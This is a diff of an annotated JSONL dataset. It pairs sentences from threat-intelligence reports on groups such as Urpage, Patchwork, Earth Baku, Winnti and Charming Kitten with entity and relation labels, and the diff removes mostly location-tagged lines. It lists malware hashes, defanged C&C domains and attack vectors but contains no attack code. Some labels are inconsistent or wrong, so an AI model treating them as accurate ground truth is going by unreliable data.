 {"id":1927,"text":"One of the RTF files was found in a server related to Confucius (f1a54dca2fdfe59ec3f537148460364fb5d046c9b4e7db5fc819a9732ae0e063, detected as TROJ_CVE201711882.AG), while the other one (434d34c0502910c562f5c6840694737a2c82a8c44004fa58c7c457b08aac17bd,detected as Mal_CVE20170199-2) downloaded a VB Backdoor that pings back to twitck[.]com, a domain name belonging to Urpage.","entities":[{"id":5662,"label":"SHA2","start_offset":187,"end_offset":251},{"id":5659,"label":"threat-actor","start_offset":54,"end_offset":63},{"id":5660,"label":"SHA2","start_offset":65,"end_offset":129},{"id":47051,"label":"malware","start_offset":143,"end_offset":163},{"id":47052,"label":"malware","start_offset":264,"end_offset":281},{"id":47053,"label":"DOMAIN","start_offset":327,"end_offset":339},{"id":47054,"label":"threat-actor","start_offset":368,"end_offset":374}],"relations":[{"id":293,"from_id":5660,"to_id":5659,"type":"authored-by"},{"id":294,"from_id":47051,"to_id":5660,"type":"related-to"},{"id":295,"from_id":47051,"to_id":5659,"type":"authored-by"},{"id":296,"from_id":5662,"to_id":5659,"type":"authored-by"},{"id":297,"from_id":47052,"to_id":5659,"type":"authored-by"},{"id":298,"from_id":47052,"to_id":47053,"type":"beacons-to"},{"id":299,"from_id":47054,"to_id":47053,"type":"controls"}],"Comments":[]}
 {"id":1928,"text":"The Patchwork Link Patchwork also uses the Delphi file stealer as a similarity with Urpage, which suggests the three groups are somehow related.","entities":[{"id":5664,"label":"threat-actor","start_offset":4,"end_offset":13},{"id":5665,"label":"threat-actor","start_offset":19,"end_offset":28},{"id":47055,"label":"threat-actor","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
 {"id":1929,"text":"But this link is further fortified by the Android applications we found whose code is like that of Bahamut, with the C&C matching the usual name registration pattern of Patchwork’s group, as well as an infrastructure close to an old Patchwork domain.","entities":[{"id":45181,"label":"SOFTWARE","start_offset":42,"end_offset":49},{"id":45183,"label":"threat-actor","start_offset":169,"end_offset":178},{"id":45184,"label":"threat-actor","start_offset":233,"end_offset":242},{"id":45182,"label":"malware","start_offset":99,"end_offset":106}],"relations":[{"id":80,"from_id":45182,"to_id":45183,"type":"attributed-to"}],"Comments":[]}
-{"id":1930,"text":"Of note was how the C&C was not encrypted in the application code, despite the fact that it contained the same encryption routines as other samples.","entities":[{"id":5674,"label":"location","start_offset":106,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":1931,"text":"Patchwork has also recently employed Android malware in its attacks, with its use of a customized version of AndroRAT.","entities":[{"id":47056,"label":"malware","start_offset":109,"end_offset":117},{"id":47058,"label":"SOFTWARE","start_offset":37,"end_offset":44},{"id":47057,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
 {"id":1932,"text":"Summary","entities":[],"relations":[],"Comments":[]}
 {"id":1933,"text":"The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.","entities":[],"relations":[],"Comments":[]}
@@ -1937,7 +1920,6 @@
 {"id":1937,"text":"We did not find Urpage victims in our telemetry, likely because of the targeted nature of these attacks.","entities":[{"id":5704,"label":"threat-actor","start_offset":16,"end_offset":22}],"relations":[],"Comments":[]}
 {"id":1938,"text":"However, the domains used by Urpage provided hints about its target.","entities":[{"id":45185,"label":"threat-actor","start_offset":29,"end_offset":35}],"relations":[],"Comments":[]}
 {"id":1939,"text":"For one, there is the domain pikrpro[.]eu and its subdomains—the islamicfinderfeedback[.]pikrpro[.]eu and the memrifilesforinfo[.]pikpro[.]eu.","entities":[{"id":47063,"label":"DOMAIN","start_offset":110,"end_offset":141},{"id":47061,"label":"DOMAIN","start_offset":29,"end_offset":41},{"id":47062,"label":"DOMAIN","start_offset":65,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":1940,"text":"The two pose as legitimate groups and websites that provide services to Islam followers and users from the Middle East.","entities":[{"id":47064,"label":"location","start_offset":107,"end_offset":118}],"relations":[],"Comments":[]}
 {"id":1941,"text":"Additionally, many of the files related to the Urpage domains are auto-extractable files that drop Delphi or VB backdoor and open a decoy document.","entities":[{"id":47065,"label":"threat-actor","start_offset":47,"end_offset":53}],"relations":[],"Comments":[]}
 {"id":1942,"text":"The decoy documents tell more about Urpage's possible targets, as it contains text from articles about the region of Kashmir.","entities":[{"id":47066,"label":"threat-actor","start_offset":36,"end_offset":42},{"id":47067,"label":"location","start_offset":117,"end_offset":124}],"relations":[{"id":300,"from_id":47066,"to_id":47067,"type":"targets"}],"Comments":[]}
 {"id":1943,"text":"The header for a sample document can be seen below.","entities":[],"relations":[],"Comments":[]}
@@ -2088,7 +2070,6 @@
 {"id":2088,"text":"This threat actor has done little to hide malicious activity, and is probably going to continue this behavior.","entities":[],"relations":[],"Comments":[]}
 {"id":2089,"text":"Unit 42 research encountered HelloXD, a ransomware family in its initial stages – but already intending to impact organizations.","entities":[{"id":6214,"label":"identity","start_offset":0,"end_offset":7},{"id":6215,"label":"malware","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":2090,"text":"While the ransomware functionality is nothing new, during our research, following the lines, we found out the ransomware is most likely developed by a threat actor named x4k.","entities":[{"id":47220,"label":"threat-actor","start_offset":170,"end_offset":173}],"relations":[],"Comments":[]}
-{"id":2091,"text":"This threat actor is well known on various hacking forums, and seems to be of Russian origin.","entities":[{"id":47221,"label":"location","start_offset":78,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":2092,"text":"Unit 42 was able to uncover additional x4k activity being linked to malicious infrastructure, and additional malware besides the initial ransomware sample, going back to 2020.","entities":[{"id":47223,"label":"threat-actor","start_offset":39,"end_offset":42},{"id":47222,"label":"identity","start_offset":0,"end_offset":7},{"id":47224,"label":"TIME","start_offset":170,"end_offset":174}],"relations":[],"Comments":[]}
 {"id":2093,"text":" Ransomware is a lucrative operation if done correctly.","entities":[],"relations":[],"Comments":[]}
 {"id":2094,"text":"Unit 42 has observed ransom demands and average payments going up in the latest Ransomware Threat Report.","entities":[{"id":47225,"label":"identity","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
@@ -2263,7 +2244,6 @@
 {"id":2263,"text":" Please mark, I'm not a robot!  By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
 {"id":2264,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.","entities":[{"id":47333,"label":"TIME","start_offset":96,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":2265,"text":"It was last updated on May 12, 2022.","entities":[{"id":45432,"label":"TIME","start_offset":23,"end_offset":35}],"relations":[],"Comments":[]}
-{"id":2266,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":47334,"label":"location","start_offset":193,"end_offset":200}],"relations":[],"Comments":[]}
 {"id":2267,"text":"Google TAG actively monitors threat actors and the evolution of their tactics and techniques.","entities":[{"id":47335,"label":"identity","start_offset":0,"end_offset":10}],"relations":[],"Comments":[]}
 {"id":2268,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with the community to benefit the internet as a whole.","entities":[],"relations":[],"Comments":[]}
 {"id":2269,"text":"As announced today, Google has taken action to disrupt the operations of Glupteba, a multi-component botnet targeting Windows computers.","entities":[{"id":6747,"label":"malware","start_offset":73,"end_offset":81},{"id":47336,"label":"identity","start_offset":20,"end_offset":26},{"id":47337,"label":"SOFTWARE","start_offset":118,"end_offset":125}],"relations":[],"Comments":[]}
@@ -2369,7 +2349,6 @@
 {"id":2369,"text":"This is not the group’s first foray into cyberespionage, and its long list of past cybercrimes also includes ransomware and cryptocurrency mining attacks.","entities":[],"relations":[],"Comments":[]}
 {"id":2370,"text":"Earth Baku deploys its ongoing campaign, which can be traced to as far back as July 2020, through multiple attack vectors that are designed based on different exploits or the infrastructure of its targeted victim's environment:  • SQL injection to upload a malicious file • Installment through InstallUtil.exe in a scheduled task • Possibly a malicious link (LNK) file sent as an email attachment • Exploitation of the ProxyLogon vulnerability CVE-2021-26855 to upload a China Chopper web shell  This campaign uses previously unidentified shellcode loaders, which we have named StealthVector and StealthMutant, and a backdoor, which we have dubbed ScrambleCross.","entities":[{"id":45480,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":45472,"label":"vulnerability","start_offset":444,"end_offset":458},{"id":45474,"label":"malware","start_offset":578,"end_offset":591},{"id":45475,"label":"malware","start_offset":596,"end_offset":609},{"id":45476,"label":"malware","start_offset":648,"end_offset":661},{"id":45477,"label":"TIME","start_offset":79,"end_offset":88},{"id":45478,"label":"FILEPATH","start_offset":294,"end_offset":309},{"id":45479,"label":"vulnerability","start_offset":419,"end_offset":429},{"id":7033,"label":"attack-pattern","start_offset":231,"end_offset":244},{"id":7034,"label":"attack-pattern","start_offset":315,"end_offset":329},{"id":7036,"label":"malware","start_offset":471,"end_offset":484}],"relations":[{"id":100,"from_id":45479,"to_id":45472,"type":"duplicate-of"},{"id":323,"from_id":45480,"to_id":7033,"type":"uses"},{"id":324,"from_id":45480,"to_id":7034,"type":"uses"}],"Comments":[]}
 {"id":2371,"text":"Earth Baku has developed these new malware tools to facilitate targeted attacks on public and private entities alike in specific industries that are located in the Indo-Pacific region.","entities":[{"id":47426,"label":"threat-actor","start_offset":0,"end_offset":10},{"id":47427,"label":"location","start_offset":164,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":2372,"text":"Thus far, the affected countries include India, Indonesia, Malaysia, the Philippines, Taiwan, and Vietnam.","entities":[{"id":47429,"label":"location","start_offset":48,"end_offset":57},{"id":47428,"label":"location","start_offset":41,"end_offset":46},{"id":47430,"label":"location","start_offset":59,"end_offset":67},{"id":47431,"label":"location","start_offset":73,"end_offset":84},{"id":47432,"label":"location","start_offset":86,"end_offset":92},{"id":47433,"label":"location","start_offset":98,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":2373,"text":"Figure 1.","entities":[],"relations":[],"Comments":[]}
 {"id":2374,"text":"Countries affected by Earth Baku’s new campaign Source: Trend Micro™ Smart Protection Network™ infrastructure StealthVector","entities":[{"id":47434,"label":"threat-actor","start_offset":22,"end_offset":32},{"id":47436,"label":"malware","start_offset":110,"end_offset":123},{"id":47435,"label":"SOFTWARE","start_offset":56,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":2375,"text":"We initially observed StealthVector, a shellcode loader written in C\/C++, in October 2020.","entities":[{"id":47437,"label":"malware","start_offset":22,"end_offset":35},{"id":47438,"label":"TIME","start_offset":77,"end_offset":89}],"relations":[],"Comments":[]}
@@ -3336,7 +3315,6 @@
 {"id":3336,"text":"The main script used to manipulate traffic with WinDivert     Potential links with the Winnti group","entities":[{"id":48944,"label":"threat-actor","start_offset":87,"end_offset":99},{"id":48943,"label":"tools","start_offset":48,"end_offset":57}],"relations":[{"id":505,"from_id":48944,"to_id":48943,"type":"uses"}],"Comments":[]}
 {"id":3337,"text":"We have found several connections between BIOPASS RAT and the Winnti Group:","entities":[{"id":10096,"label":"malware","start_offset":42,"end_offset":53},{"id":48945,"label":"threat-actor","start_offset":62,"end_offset":74}],"relations":[{"id":506,"from_id":48945,"to_id":10096,"type":"uses"}],"Comments":[]}
 {"id":3338,"text":"1.      We discovered that many BIOPASS RAT loader binaries were signed with two valid certificates.","entities":[{"id":48946,"label":"malware","start_offset":32,"end_offset":43}],"relations":[],"Comments":[]}
-{"id":3339,"text":"However, these certificates are likely stolen from game studios from South Korea and Taiwan.","entities":[{"id":48947,"label":"location","start_offset":69,"end_offset":80},{"id":48948,"label":"location","start_offset":85,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":3340,"text":"It is well known that the Winnti Group has previously used stolen certificates from game studios to sign its malware.","entities":[{"id":48950,"label":"attack-pattern","start_offset":59,"end_offset":78},{"id":48949,"label":"threat-actor","start_offset":26,"end_offset":38}],"relations":[{"id":507,"from_id":48949,"to_id":48950,"type":"uses"}],"Comments":[]}
 {"id":3341,"text":" Certificate Thumbprint  Valid From  Valid To  EFB70718BC00393A01694F255A28E30E9D2142A4  12:00 a.m.,  Jan. 2, 2019  11:59 p.m., Mar. 2, 2021  8CE020AA874902C532B9911A4DCA8EFFA627DC80  12:00 a.m., Sept. 6, 2018  11:59 p.m., Oct. 5, 2021   Table 3.","entities":[{"id":48951,"label":"TIME","start_offset":89,"end_offset":114},{"id":48952,"label":"TIME","start_offset":116,"end_offset":140},{"id":48954,"label":"TIME","start_offset":211,"end_offset":235},{"id":48953,"label":"TIME","start_offset":184,"end_offset":209}],"relations":[],"Comments":[]}
 {"id":3342,"text":"Information from the stolen certificates   2.      While checking the stolen certificates, we found a server-side variant of the Derusbi malware sample (e5fdb754c1a7c36c288c46765c9258bb2c7f38fa2a99188a623182f877da3783) that was signed with the same stolen certificate.","entities":[{"id":10119,"label":"SHA2","start_offset":153,"end_offset":217},{"id":48955,"label":"malware","start_offset":129,"end_offset":144}],"relations":[{"id":508,"from_id":10119,"to_id":48955,"type":"indicates"}],"Comments":[]}
@@ -3344,14 +3322,12 @@
 {"id":3344,"text":"The server-side variant has also been noted to be used as a malware loader by the Winnti Group.","entities":[{"id":48956,"label":"threat-actor","start_offset":82,"end_offset":94}],"relations":[],"Comments":[]}
 {"id":3345,"text":"3.      We found an interesting Cobalt Strike loader (a7e9e2bec3ad283a9a0b130034e822c8b6dfd26dda855f883a3a4ff785514f97) that embeds a URL that leads to the BIOPASS RAT loader.","entities":[{"id":10125,"label":"SHA2","start_offset":54,"end_offset":118},{"id":10126,"label":"malware","start_offset":156,"end_offset":167},{"id":48957,"label":"tools","start_offset":32,"end_offset":45}],"relations":[{"id":509,"from_id":10125,"to_id":48957,"type":"indicates"},{"id":510,"from_id":10125,"to_id":10126,"type":"drops"}],"Comments":[]}
 {"id":3346,"text":"However, the URL is unused and was likely left inside the loader as a mistake.","entities":[],"relations":[],"Comments":[]}
-{"id":3347,"text":"This file has also been mentioned in a recent report that connects it to an attack on a major certification authority (CA) in Mongolia.","entities":[{"id":48958,"label":"location","start_offset":126,"end_offset":134}],"relations":[],"Comments":[]}
 {"id":3348,"text":"The Cobalt Strike loader, which has a PDB string “C:\\Users\\test\\Desktop\\fishmaster\\x64\\Release\\fishmaster.pdb”, connects to the C&C server “download[.]google-images[.]ml”.","entities":[{"id":48959,"label":"tools","start_offset":4,"end_offset":17},{"id":48960,"label":"FILEPATH","start_offset":50,"end_offset":109},{"id":48961,"label":"DOMAIN","start_offset":140,"end_offset":169}],"relations":[{"id":511,"from_id":48960,"to_id":48959,"type":"indicates"},{"id":514,"from_id":48959,"to_id":48961,"type":"beacons-to"}],"Comments":[]}
 {"id":3349,"text":"The domains and the PDB string have been mentioned in a recent report and have been attributed to the Winnti Group.","entities":[{"id":48962,"label":"threat-actor","start_offset":102,"end_offset":114}],"relations":[],"Comments":[]}
 {"id":3350,"text":"While these connections allow us to link the malware to the Winnti Group, the different targets between BIOPASS RAT and the current operations by Winnti’s that we are tracking makes associating the two more difficult.","entities":[{"id":48963,"label":"threat-actor","start_offset":60,"end_offset":72},{"id":48964,"label":"malware","start_offset":104,"end_offset":115},{"id":48965,"label":"threat-actor","start_offset":146,"end_offset":152}],"relations":[{"id":515,"from_id":48963,"to_id":48964,"type":"uses"}],"Comments":[]}
 {"id":3351,"text":"BIOPASS RAT highlights the importance of downloading from trusted sources BIOPASS RAT is a sophisticated type of malware that is implemented as Python scripts.","entities":[{"id":48967,"label":"malware","start_offset":74,"end_offset":85},{"id":48966,"label":"malware","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
 {"id":3352,"text":"It possesses many features, such as the ability to use scheduled tasks as a method of maintaining persistence in the infected system.","entities":[],"relations":[],"Comments":[]}
 {"id":3353,"text":" The malware abuses publicly available tools and cloud services for its malicious behavior.","entities":[],"relations":[],"Comments":[]}
-{"id":3354,"text":" Notably, a large number of features were implemented to target and steal the private data of popular web browsers and instant mes\\sengers that are primarily used in Mainland China.","entities":[{"id":48968,"label":"location","start_offset":166,"end_offset":180}],"relations":[],"Comments":[]}
 {"id":3355,"text":"Given that the malware loader was delivered as an executable disguised as a legitimate update installer on a compromised website, we advise users to be careful  with regard to the applications that they download.","entities":[],"relations":[],"Comments":[]}
 {"id":3356,"text":"As much as possible, it is recommended to download apps only from trusted sources and official websites to avoid being compromised by attacks such as the one discussed here.","entities":[],"relations":[],"Comments":[]}
 {"id":3357,"text":"Organizations can also help protect their end users by implementing security solutions that provide  a multilayered defense system that helps with detecting, scanning, and blocking malicious URLs.","entities":[],"relations":[],"Comments":[]}
@@ -3452,7 +3428,6 @@
 {"id":3452,"text":" Please mark, I'm not a robot!  ","entities":[],"relations":[],"Comments":[]}
 {"id":3453,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.  ","entities":[],"relations":[],"Comments":[]}
 {"id":3454,"text":"Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.","entities":[{"id":49232,"label":"campaign","start_offset":0,"end_offset":9},{"id":49233,"label":"campaign","start_offset":25,"end_offset":32},{"id":49234,"label":"campaign","start_offset":37,"end_offset":43},{"id":49235,"label":"TIME","start_offset":89,"end_offset":93},{"id":49236,"label":"malware","start_offset":117,"end_offset":132}],"relations":[{"id":761,"from_id":49233,"to_id":49232,"type":"duplicate-of"},{"id":762,"from_id":49234,"to_id":49232,"type":"duplicate-of"}],"Comments":[]}
-{"id":3455,"text":"It targets organizations in Japan, South Korea, and Taiwan, leveling its attacks on public sector agencies and telecommunications and other high-technology industries.","entities":[{"id":49237,"label":"location","start_offset":28,"end_offset":33},{"id":49238,"label":"location","start_offset":35,"end_offset":46},{"id":49239,"label":"location","start_offset":52,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":3456,"text":"In 2016, for instance, we found their campaigns attacking Japanese organizations with various malware tools, notably the Elirks backdoor.","entities":[{"id":49240,"label":"TIME","start_offset":3,"end_offset":7},{"id":49241,"label":"malware","start_offset":121,"end_offset":127}],"relations":[],"Comments":[]}
 {"id":3457,"text":"Blackgear’s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks.","entities":[{"id":49242,"label":"threat-actor","start_offset":0,"end_offset":21}],"relations":[],"Comments":[]}
 {"id":3458,"text":"A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.","entities":[{"id":49244,"label":"attack-pattern","start_offset":86,"end_offset":101},{"id":49247,"label":"attack-pattern","start_offset":165,"end_offset":213},{"id":49248,"label":"attack-pattern","start_offset":103,"end_offset":161},{"id":49243,"label":"threat-actor","start_offset":28,"end_offset":37}],"relations":[{"id":763,"from_id":49243,"to_id":49244,"type":"uses"},{"id":765,"from_id":49243,"to_id":49247,"type":"uses"},{"id":766,"from_id":49243,"to_id":49248,"type":"uses"}],"Comments":[]}
@@ -4226,8 +4201,6 @@
 {"id":4226,"text":"This function is similar to the various versions of backdoors (such as sctrls and sip_telephone) that we analyzed in our previous blog post and whitepaper.","entities":[],"relations":[],"Comments":[]}
 {"id":4227,"text":"An interesting feature of the downloader: It uses an online service to retrieve the victim's IP address and country, which it compares with a list of allowed countries.","entities":[],"relations":[],"Comments":[]}
 {"id":4228,"text":"If the victim seemingly comes from a different country, the program will self-delete and quit.","entities":[],"relations":[],"Comments":[]}
-{"id":4229,"text":"This list contains:  Most of the South and Southeast Asian countries (including Mongolia) Most of the Middle Eastern countries","entities":[{"id":50035,"label":"location","start_offset":33,"end_offset":58},{"id":50036,"label":"location","start_offset":80,"end_offset":88},{"id":50037,"label":"location","start_offset":102,"end_offset":126}],"relations":[],"Comments":[]}
-{"id":4230,"text":"Most of the African countries Only Ukraine in Europe Only Trinidad and Tobago in the Americas No country from Oceania   Figure 5.","entities":[{"id":50038,"label":"location","start_offset":35,"end_offset":42},{"id":50039,"label":"location","start_offset":46,"end_offset":52},{"id":50042,"label":"location","start_offset":110,"end_offset":117},{"id":50040,"label":"location","start_offset":58,"end_offset":77},{"id":50041,"label":"location","start_offset":85,"end_offset":93}],"relations":[],"Comments":[]}
 {"id":4231,"text":"Excerpt of the valid country list We noted that it does both client-side and server-side IP filtering, showing that the attacker has improved its infrastructure.","entities":[],"relations":[],"Comments":[]}
 {"id":4232,"text":"At the end of last year, a C&C from the same threat actor was not only accessible from any IP address, but it was possible to browse the server directory tree without authentication.","entities":[],"relations":[],"Comments":[]}
 {"id":4233,"text":"After impersonating a fake victim of interest, we obtained a second stage payload (Detected as TROJ_DELF.XXWZ), which is a filestealer based on the Delphi programming language similar to the “svctrls” malware described in our previous blogpost.","entities":[{"id":50043,"label":"malware","start_offset":95,"end_offset":109}],"relations":[],"Comments":[]}
@@ -4375,7 +4348,6 @@
 {"id":4375,"text":"Now, we’re shining light on a new tool of theirs.","entities":[],"relations":[],"Comments":[]}
 {"id":4376,"text":"In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.","entities":[{"id":13122,"label":"threat-actor","start_offset":41,"end_offset":56},{"id":50182,"label":"TIME","start_offset":3,"end_offset":16},{"id":50183,"label":"identity","start_offset":18,"end_offset":21},{"id":50188,"label":"attack-pattern","start_offset":90,"end_offset":105},{"id":50186,"label":"SOFTWARE","start_offset":118,"end_offset":124},{"id":50184,"label":"malware","start_offset":69,"end_offset":80},{"id":50185,"label":"SOFTWARE","start_offset":111,"end_offset":116},{"id":50187,"label":"SOFTWARE","start_offset":130,"end_offset":147}],"relations":[{"id":926,"from_id":50184,"to_id":13122,"type":"authored-by"},{"id":927,"from_id":50184,"to_id":50188,"type":"uses"},{"id":928,"from_id":50184,"to_id":50185,"type":"targets"},{"id":929,"from_id":50184,"to_id":50186,"type":"targets"},{"id":930,"from_id":50184,"to_id":50187,"type":"targets"}],"Comments":[]}
 {"id":4377,"text":"The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.","entities":[{"id":50189,"label":"malware","start_offset":18,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":4378,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[{"id":50190,"label":"location","start_offset":74,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":4379,"text":"The oldest known sample is from 2020, and the tool is still under active development.","entities":[{"id":50191,"label":"TIME","start_offset":32,"end_offset":36}],"relations":[],"Comments":[]}
 {"id":4380,"text":"We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.","entities":[],"relations":[],"Comments":[]}
 {"id":4381,"text":"This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.","entities":[{"id":50192,"label":"malware","start_offset":47,"end_offset":58},{"id":50194,"label":"malware","start_offset":110,"end_offset":131},{"id":50193,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
@@ -4488,8 +4460,6 @@
 {"id":4488,"text":"Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.","entities":[{"id":50293,"label":"identity","start_offset":47,"end_offset":68},{"id":50294,"label":"vulnerability","start_offset":18,"end_offset":42}],"relations":[],"Comments":[]}
 {"id":4489,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":50295,"label":"identity","start_offset":0,"end_offset":3}],"relations":[],"Comments":[]}
 {"id":4490,"text":"This industry appears to be thriving.","entities":[],"relations":[],"Comments":[]}
-{"id":4491,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":50296,"label":"location","start_offset":59,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":4492,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":50297,"label":"location","start_offset":39,"end_offset":52}],"relations":[],"Comments":[]}
 {"id":4493,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[],"relations":[],"Comments":[]}
 {"id":4494,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[],"relations":[],"Comments":[]}
 {"id":4495,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
@@ -4531,12 +4501,10 @@
 {"id":4531,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[],"relations":[],"Comments":[]}
 {"id":4532,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
 {"id":4533,"text":"We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":50327,"label":"identity","start_offset":69,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":4534,"text":"The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.","entities":[{"id":50328,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":4535,"text":"The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.","entities":[{"id":50329,"label":"identity","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
 {"id":4536,"text":"We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.","entities":[{"id":50330,"label":"threat-actor","start_offset":77,"end_offset":86},{"id":50331,"label":"threat-actor","start_offset":91,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":4537,"text":"Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.","entities":[{"id":50332,"label":"identity","start_offset":18,"end_offset":33},{"id":50333,"label":"location","start_offset":214,"end_offset":218},{"id":50334,"label":"location","start_offset":231,"end_offset":235}],"relations":[],"Comments":[]}
 {"id":4538,"text":"The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.","entities":[],"relations":[],"Comments":[]}
-{"id":4539,"text":"Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.","entities":[{"id":50335,"label":"location","start_offset":21,"end_offset":34}],"relations":[],"Comments":[]}
 {"id":4540,"text":"Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[],"relations":[],"Comments":[]}
 {"id":4541,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":50336,"label":"identity","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
 {"id":4542,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[],"relations":[],"Comments":[]}
@@ -4547,7 +4515,6 @@
 {"id":4547,"text":"Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.","entities":[{"id":50344,"label":"location","start_offset":153,"end_offset":160},{"id":50342,"label":"location","start_offset":62,"end_offset":69},{"id":50343,"label":"threat-actor","start_offset":121,"end_offset":132},{"id":50346,"label":"threat-actor","start_offset":5,"end_offset":36}],"relations":[{"id":943,"from_id":50346,"to_id":50342,"type":"targets"}],"Comments":[]}
 {"id":4548,"text":"TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.","entities":[{"id":50347,"label":"identity","start_offset":0,"end_offset":3},{"id":50348,"label":"threat-actor","start_offset":57,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":4549,"text":"Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.","entities":[{"id":50351,"label":"threat-actor","start_offset":179,"end_offset":203},{"id":50349,"label":"location","start_offset":82,"end_offset":89},{"id":50350,"label":"identity","start_offset":94,"end_offset":97},{"id":50352,"label":"threat-actor","start_offset":210,"end_offset":233},{"id":50353,"label":"identity","start_offset":253,"end_offset":256}],"relations":[{"id":944,"from_id":50351,"to_id":50349,"type":"targets"},{"id":945,"from_id":50352,"to_id":50349,"type":"targets"}],"Comments":[]}
-{"id":4550,"text":"Most of these coordinated influence operations are Russian language efforts aimed at ensuring domestic support in Russia for the war.","entities":[{"id":50354,"label":"location","start_offset":114,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":4551,"text":"Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.","entities":[{"id":50355,"label":"identity","start_offset":48,"end_offset":51},{"id":50356,"label":"threat-actor","start_offset":88,"end_offset":93},{"id":50357,"label":"identity","start_offset":135,"end_offset":165},{"id":50358,"label":"location","start_offset":126,"end_offset":132},{"id":50359,"label":"SOFTWARE","start_offset":183,"end_offset":190},{"id":50360,"label":"identity","start_offset":221,"end_offset":244}],"relations":[{"id":946,"from_id":50356,"to_id":50357,"type":"attributed-to"},{"id":947,"from_id":50357,"to_id":50358,"type":"located-at"},{"id":948,"from_id":50357,"to_id":50360,"type":"impersonates"}],"Comments":[]}
 {"id":4552,"text":"This is the first known instance of Turla distributing Android-related malware.","entities":[{"id":50361,"label":"threat-actor","start_offset":36,"end_offset":41},{"id":50362,"label":"SOFTWARE","start_offset":55,"end_offset":62}],"relations":[{"id":949,"from_id":50361,"to_id":50362,"type":"targets"}],"Comments":[]}
